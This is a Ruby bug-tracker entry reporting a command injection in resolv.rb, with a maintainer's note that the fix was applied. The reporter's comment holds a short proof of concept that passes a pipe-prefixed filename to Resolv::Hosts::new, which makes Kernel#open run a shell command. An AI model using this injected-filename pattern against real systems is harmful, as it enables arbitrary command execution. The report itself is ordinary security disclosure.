Project

General

Profile

Actions
Copy link

Bug #14205

closed

Unsanitizied filename leads to command injection in 'resolv.rb'

Bug #14205: Unsanitizied filename leads to command injection in 'resolv.rb'

Added by drigg3r (Jasraj Bedi) over 8 years ago. Updated over 8 years ago.

Status:
Closed
Assignee:
-
Target version:
-
ruby -v:
Backport:
2.3: UNKNOWN, 2.4: UNKNOWN
[ruby-core:84347]

Description

Here is the pull request
https://github.com/ruby/ruby/pull/1777

Updated by drigg3r (Jasraj Bedi) over 8 years ago Actions
Copy link
 #1 [ruby-core:84348]

  • Subject changed from Unsanitizied filename leads to command injection in 'resolv' to Unsanitizied filename leads to command injection in 'resolv.rb'

PoC Concept Code

require 'resolv'
a = Resolv::Hosts::new("|echo 1 > /tmp/rce")
a.getaddress("test")

Updated by nobu (Nobuyoshi Nakada) over 8 years ago Actions
Copy link
 #2

  • Status changed from Open to Closed

Applied in changeset trunk|r61349.

Fixed command Injection

  • resolv.rb (Resolv::Hosts#lazy_initialize): fixed potential
    command Injection in Hosts::new() by use of Kernel#open.
    [Fix GH-1777] [ruby-core:84347] [Bug #14205]

From: Drigg3r

Actions
Copy link

Also available in: PDF Atom